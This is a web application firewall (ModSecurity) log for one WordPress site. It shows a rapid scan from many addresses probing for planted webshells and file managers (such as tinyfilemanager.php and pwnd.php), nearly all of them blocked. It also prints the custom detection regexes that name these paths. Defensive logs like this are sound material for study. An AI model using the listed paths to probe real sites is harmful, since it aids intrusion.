[Sun Nov 23 16:42:05.684558 2025] [:error] [pid 38824:tid 38846] [client 140.99.1.71:30193] [client 140.99.1.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aSLI3U8WZjXLvbHTHPewOgAAANM"]
[Sun Nov 23 16:42:06.772987 2025] [:error] [pid 16066:tid 16092] [client 140.99.1.14:49209] [client 140.99.1.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "aSLI3vq-c47Q5mW5E9Fk8wAAAZc"]
[Sun Nov 23 16:42:07.031634 2025] [:error] [pid 38740:tid 38803] [client 140.99.1.44:59237] [client 140.99.1.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aSLI3w13QPZSi6O8umWRLgAAAIc"]
[Sun Nov 23 16:43:29.929519 2025] [:error] [pid 38739:tid 38783] [client 140.99.1.71:46779] [client 140.99.1.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aSLJMQdvEgJm2n2cDmorVAAAAE4"]
[Sun Nov 23 16:43:30.785737 2025] [:error] [pid 38738:tid 38758] [client 140.99.1.13:53571] [client 140.99.1.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aSLJMgytc6TL9XavPmP-TQAAABA"]
[Sun Nov 23 16:43:32.161302 2025] [:error] [pid 38738:tid 38754] [client 140.99.1.67:21203] [client 140.99.1.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aSLJNAytc6TL9XavPmP-awAAAAw"]
[Sun Nov 23 16:43:32.876442 2025] [:error] [pid 38739:tid 38791] [client 140.99.1.8:31195] [client 140.99.1.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aSLJNAdvEgJm2n2cDmormQAAAFY"]
[Sun Nov 23 16:43:34.035382 2025] [:error] [pid 38740:tid 38812] [client 140.99.1.49:64619] [client 140.99.1.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aSLJNg13QPZSi6O8umWZiQAAAJA"]
[Sun Nov 23 16:43:34.513953 2025] [:error] [pid 38738:tid 38748] [client 140.99.1.77:34265] [client 140.99.1.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aSLJNgytc6TL9XavPmP-pAAAAAY"]
[Sun Nov 23 16:43:34.705829 2025] [:error] [pid 38739:tid 38782] [client 140.99.1.15:55027] [client 140.99.1.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aSLJNgdvEgJm2n2cDmoryAAAAE0"]
[Sun Nov 23 16:43:34.932867 2025] [:error] [pid 38738:tid 38753] [client 140.99.1.49:25557] [client 140.99.1.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aSLJNgytc6TL9XavPmP-sAAAAAs"]
[Sun Nov 23 16:43:35.276602 2025] [:error] [pid 16066:tid 16077] [client 140.99.1.14:38873] [client 140.99.1.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aSLJN_q-c47Q5mW5E9FspwAAAYg"]
[Sun Nov 23 16:43:35.532803 2025] [:error] [pid 38738:tid 38753] [client 140.99.1.17:63693] [client 140.99.1.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aSLJNwytc6TL9XavPmP-vAAAAAs"]
[Sun Nov 23 16:43:35.887969 2025] [:error] [pid 38738:tid 38753] [client 140.99.1.68:26641] [client 140.99.1.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aSLJNwytc6TL9XavPmP-yAAAAAs"]
[Sun Nov 23 16:43:36.428370 2025] [:error] [pid 38738:tid 38761] [client 140.99.1.42:28661] [client 140.99.1.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aSLJOAytc6TL9XavPmP-2AAAABM"]
[Sun Nov 23 16:43:36.944666 2025] [:error] [pid 38739:tid 38781] [client 140.99.1.20:52991] [client 140.99.1.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aSLJOAdvEgJm2n2cDmosAwAAAEw"]
[Sun Nov 23 16:43:45.466621 2025] [:error] [pid 38739:tid 38769] [client 140.99.1.14:62315] [client 140.99.1.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aSLJQQdvEgJm2n2cDmotCgAAAEA"]
[Sun Nov 23 16:43:45.993277 2025] [:error] [pid 38824:tid 38838] [client 140.99.1.37:58343] [client 140.99.1.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aSLJQU8WZjXLvbHTHPe3-gAAAMs"]
[Sun Nov 23 16:43:47.078882 2025] [:error] [pid 16066:tid 16079] [client 140.99.1.67:60015] [client 140.99.1.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aSLJQ_q-c47Q5mW5E9FtjAAAAYo"]
[Sun Nov 23 16:43:47.417254 2025] [:error] [pid 38824:tid 38835] [client 140.99.1.11:56053] [client 140.99.1.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aSLJQ08WZjXLvbHTHPe4GgAAAMg"]
[Sun Nov 23 16:43:48.056846 2025] [:error] [pid 38738:tid 38748] [client 140.99.1.65:20469] [client 140.99.1.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aSLJRAytc6TL9XavPmP_rQAAAAY"]
[Sun Nov 23 16:43:48.404851 2025] [:error] [pid 14602:tid 14628] [client 140.99.1.30:33191] [client 140.99.1.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aSLJRB-I77jdD81pU-mcGQAAAUc"]
[Sun Nov 23 16:43:49.948480 2025] [:error] [pid 44652:tid 44727] [client 140.99.1.9:40615] [client 140.99.1.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aSLJRdiQFwsyXQDhwyCwtAAAARU"]
[Sun Nov 23 16:43:50.347233 2025] [:error] [pid 38824:tid 38843] [client 140.99.1.39:41823] [client 140.99.1.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aSLJRk8WZjXLvbHTHPe4VwAAANA"]
[Sun Nov 23 16:43:50.758819 2025] [:error] [pid 38824:tid 38833] [client 140.99.1.2:60993] [client 140.99.1.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aSLJRk8WZjXLvbHTHPe4ZgAAAMY"]
[Sun Nov 23 16:43:51.030672 2025] [:error] [pid 44652:tid 44706] [client 140.99.1.30:61469] [client 140.99.1.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aSLJR9iQFwsyXQDhwyCw0AAAAQA"]
[Sun Nov 23 16:43:51.506891 2025] [:error] [pid 38738:tid 38762] [client 140.99.1.32:60367] [client 140.99.1.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aSLJRwytc6TL9XavPmMACQAAABQ"]
[Sun Nov 23 16:43:52.084337 2025] [:error] [pid 38824:tid 38845] [client 140.99.1.9:36771] [client 140.99.1.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aSLJSE8WZjXLvbHTHPe4hwAAANI"]
[Sun Nov 23 16:43:52.798297 2025] [:error] [pid 16066:tid 16072] [client 140.99.1.70:39283] [client 140.99.1.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aSLJSPq-c47Q5mW5E9FtzQAAAYM"]
[Sun Nov 23 16:43:53.050532 2025] [:error] [pid 44652:tid 44721] [client 140.99.1.42:43757] [client 140.99.1.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aSLJSdiQFwsyXQDhwyCw9QAAAQ8"]
[Sun Nov 23 16:43:54.528392 2025] [:error] [pid 44652:tid 44727] [client 140.99.1.7:46613] [client 140.99.1.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aSLJStiQFwsyXQDhwyCxIgAAARU"]
[Sun Nov 23 16:43:55.830796 2025] [:error] [pid 38740:tid 38811] [client 140.99.1.33:50419] [client 140.99.1.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.99.1.33, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aSLJSw13QPZSi6O8umWbxwAAAI8"]
[Sun Nov 23 16:43:57.928970 2025] [:error] [pid 38740:tid 38818] [client 140.99.1.33:50419] [client 140.99.1.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aSLJTQ13QPZSi6O8umWcDAAAAJY"]
[Sun Nov 23 16:43:58.494075 2025] [:error] [pid 44652:tid 44707] [client 140.99.1.15:39435] [client 140.99.1.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.99.1.15, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aSLJTtiQFwsyXQDhwyCxlwAAAQE"]
[Sun Nov 23 16:43:58.745494 2025] [:error] [pid 44652:tid 44710] [client 140.99.1.15:39435] [client 140.99.1.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/item.php"] [unique_id "aSLJTtiQFwsyXQDhwyCxogAAAQQ"]
[Sun Nov 23 16:44:00.406394 2025] [:error] [pid 38740:tid 38806] [client 140.99.1.9:24919] [client 140.99.1.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aSLJUA13QPZSi6O8umWcXQAAAIo"]
[Sun Nov 23 16:44:02.243020 2025] [:error] [pid 38740:tid 38816] [client 140.99.1.38:57453] [client 140.99.1.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aSLJUg13QPZSi6O8umWckAAAAJQ"]
[Sun Nov 23 16:44:02.777042 2025] [:error] [pid 44652:tid 44723] [client 140.99.1.53:61073] [client 140.99.1.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aSLJUtiQFwsyXQDhwyCyGAAAARE"]
[Sun Nov 23 16:44:03.483385 2025] [:error] [pid 16066:tid 16078] [client 140.99.1.16:47331] [client 140.99.1.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aSLJU_q-c47Q5mW5E9FugQAAAYk"]
[Sun Nov 23 16:44:03.731268 2025] [:error] [pid 38740:tid 38802] [client 140.99.1.13:40853] [client 140.99.1.13] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.99.1.13, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aSLJUw13QPZSi6O8umWcuAAAAIY"]
[Sun Nov 23 16:44:03.836566 2025] [:error] [pid 38740:tid 38799] [client 140.99.1.13:40853] [client 140.99.1.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aSLJUw13QPZSi6O8umWcvAAAAIM"]
[Sun Nov 23 16:44:06.634905 2025] [:error] [pid 38738:tid 38749] [client 140.99.1.74:52967] [client 140.99.1.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aSLJVgytc6TL9XavPmMBMQAAAAc"]
[Sun Nov 23 16:44:07.309923 2025] [:error] [pid 38739:tid 38784] [client 140.99.1.28:27131] [client 140.99.1.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.99.1.28, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aSLJVwdvEgJm2n2cDmovWAAAAE8"]
[Sun Nov 23 16:44:07.865065 2025] [:error] [pid 38739:tid 38771] [client 140.99.1.28:27131] [client 140.99.1.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aSLJVwdvEgJm2n2cDmovagAAAEI"]
[Sun Nov 23 16:44:08.275544 2025] [:error] [pid 44652:tid 44715] [client 140.99.1.74:27087] [client 140.99.1.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aSLJWNiQFwsyXQDhwyCynwAAAQk"]
[Sun Nov 23 16:44:08.736289 2025] [:error] [pid 38824:tid 38830] [client 140.99.1.78:29237] [client 140.99.1.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aSLJWE8WZjXLvbHTHPe55QAAAMM"]
[Sun Nov 23 16:44:09.859449 2025] [:error] [pid 38740:tid 38815] [client 140.99.1.71:56003] [client 140.99.1.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aSLJWQ13QPZSi6O8umWdVQAAAJM"]
[Sun Nov 23 16:44:10.103935 2025] [:error] [pid 38738:tid 38744] [client 140.99.1.76:38971] [client 140.99.1.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aSLJWgytc6TL9XavPmMBhAAAAAI"]
[Sun Nov 23 16:44:11.440973 2025] [:error] [pid 38740:tid 38812] [client 140.99.1.44:31651] [client 140.99.1.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aSLJWw13QPZSi6O8umWdhQAAAJA"]
[Sun Nov 23 16:44:11.748936 2025] [:error] [pid 44652:tid 44710] [client 140.99.1.47:64409] [client 140.99.1.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aSLJW9iQFwsyXQDhwyCy-gAAAQQ"]
[Sun Nov 23 16:44:12.533090 2025] [:error] [pid 38739:tid 38780] [client 140.99.1.42:49203] [client 140.99.1.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aSLJXAdvEgJm2n2cDmovpwAAAEs"]
